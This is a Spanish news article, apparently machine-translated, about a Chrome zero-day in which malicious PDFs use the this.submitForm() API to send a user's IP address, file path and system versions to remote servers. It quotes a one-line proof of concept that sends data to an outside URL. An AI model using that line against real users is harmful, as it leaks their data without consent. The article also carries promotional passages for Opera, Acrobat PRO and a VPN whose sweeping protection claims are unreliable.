El error de Chrome permite a los piratas informáticos recopilar datos del usuario a través de archivos PDF

El servicio de detección de exploits EdgeSpot descubrió un intrigante Cromo vulnerabilidad de día cero que explota documentos PDF.

La vulnerabilidad permite a los atacantes recolectar datos sensibles utilizando documentos PDF maliciosos abiertos en Chrome.

Tan pronto como la víctima abre los respectivos archivos PDF en Google Chrome, un programa malicioso comienza a funcionar en segundo plano mediante la recopilación de datos del usuario.

Luego, los datos se envían al servidor remoto que está siendo controlado por los piratas informáticos. Es posible que se pregunte qué datos están siendo absorbidos por los atacantes, apuntan a los siguientes datos en su PC:

• dirección IP
• Ruta completa del archivo PDF en el sistema
• Versiones de SO y Chrome

Tenga cuidado con los archivos PDF plagados de malware

Expertos manchado que uno de los dos dominios readnotify [.] com o burpcollaborator [.] net estaba recibiendo los datos.

Revelaron que los atacantes están utilizando el this.submitForm () PDF Javascript API para recopilar la información sensible de los usuarios.

Lo probamos con un PoC mínimo, una simple llamada API como this.submitForm (‘ http://google.com/test’) hará que Google Chrome envíe los datos personales a google.com.

Este error de Chrome estaba siendo explotado por dos conjuntos distintos de archivos PDF maliciosos, ambos circularon en octubre de 2017 y septiembre de 2018, respectivamente.

En particular, los atacantes pueden utilizar los datos recopilados para ajustar los ataques en el futuro. Los informes sugieren que el primer lote de archivos se compiló utilizando el servicio de seguimiento de PDF de ReadNotify.

Los usuarios pueden utilizar el servicio para realizar un seguimiento de las vistas de los usuarios. EdgeSpot no ha compartido ningún detalle sobre la naturaleza del segundo conjunto de archivos PDF.

Consejo rápido: cambie su navegador a Opera

En estos tiempos difíciles, somos atacados con malware, phishing y troyanos en cada paso, por lo que tenemos que estar mucho más atentos y protegidos.

Y como este es un problema específico de Chrome, puede evitar esa amenaza y todas las demás con un navegador orientado a la seguridad como Ópera.

Este navegador viene con un bloqueador de anuncios incorporado que no solo elimina esas distracciones sino que también bloquea scripts de análisis, píxeles de seguimiento y métodos para recopilar sus datos.

Y si quiere estar absolutamente seguro de mantenerse alejado de cualquier peligro, colóquese detrás del VPN servicio que es 100% gratuito por tiempo ilimitado.

Ópera

Opera ofrece la protección perfecta contra amenazas con el bloqueador de anuncios incorporado y el servicio VPN de forma gratuita.

Consíguelo gratis
Visita la página web

¿Cómo puedo protegerme de las vulnerabilidades de PDF?

Descarga Adobe Acrobat PRO

Adobe y Chrome son una buena combinación cuando se trata de manejar archivos PDF. Al instalar Adobe Extension para Chrome, puede revisar y manipular archivos PDF a su gusto sin salir de su navegador favorito.

A pesar de su estructura sólida, es posible que el malware oculto en archivos PDF no se detecte si está utilizando la versión estándar del Reader.

Se recomienda la versión profesional para garantizar su protección y mantener sus datos alejados de los piratas informáticos.

Aunque no es gratis, el precio que pagará es bastante pequeño por la gran cantidad de funciones adicionales que disfrutará, incluida la seguridad mejorada de sus archivos PDF.

También se incluye una prueba gratuita de 7 días para que pueda probar la experiencia Pro completa antes de realizar la compra.

Adobe Acrobat PRO

Manténgase alejado del malware descargando Adobe Acrobat PRO. Tiene muchas más funciones que la versión gratuita y mantiene sus datos seguros.

Prueba gratis
Visita la página web

---

En caso de que desee estar seguro mientras navega por Internet, deberá obtener una herramienta totalmente dedicada para proteger su red. Instale el acceso privado a Internet ahora y asegúrate. Protege su PC de ataques mientras navega, enmascara su dirección IP y bloquea todo acceso no deseado.

---

El servicio de detección de exploits EdgeSpot quería alertar a los usuarios de Chrome sobre los riesgos potenciales porque no se esperaba que el parche se lanzara en un futuro próximo.

EdgeSpot informó a Google sobre la vulnerabilidad el año pasado y la compañía prometió lanzar un parche a fines de abril.

Sin embargo, puede considerar utilizar una solución temporal al problema visualizando localmente los documentos PDF recibidos con otra aplicación de lectura.

Alternativamente, también puede abrir sus documentos PDF en Chrome desconectando sus sistemas de Internet.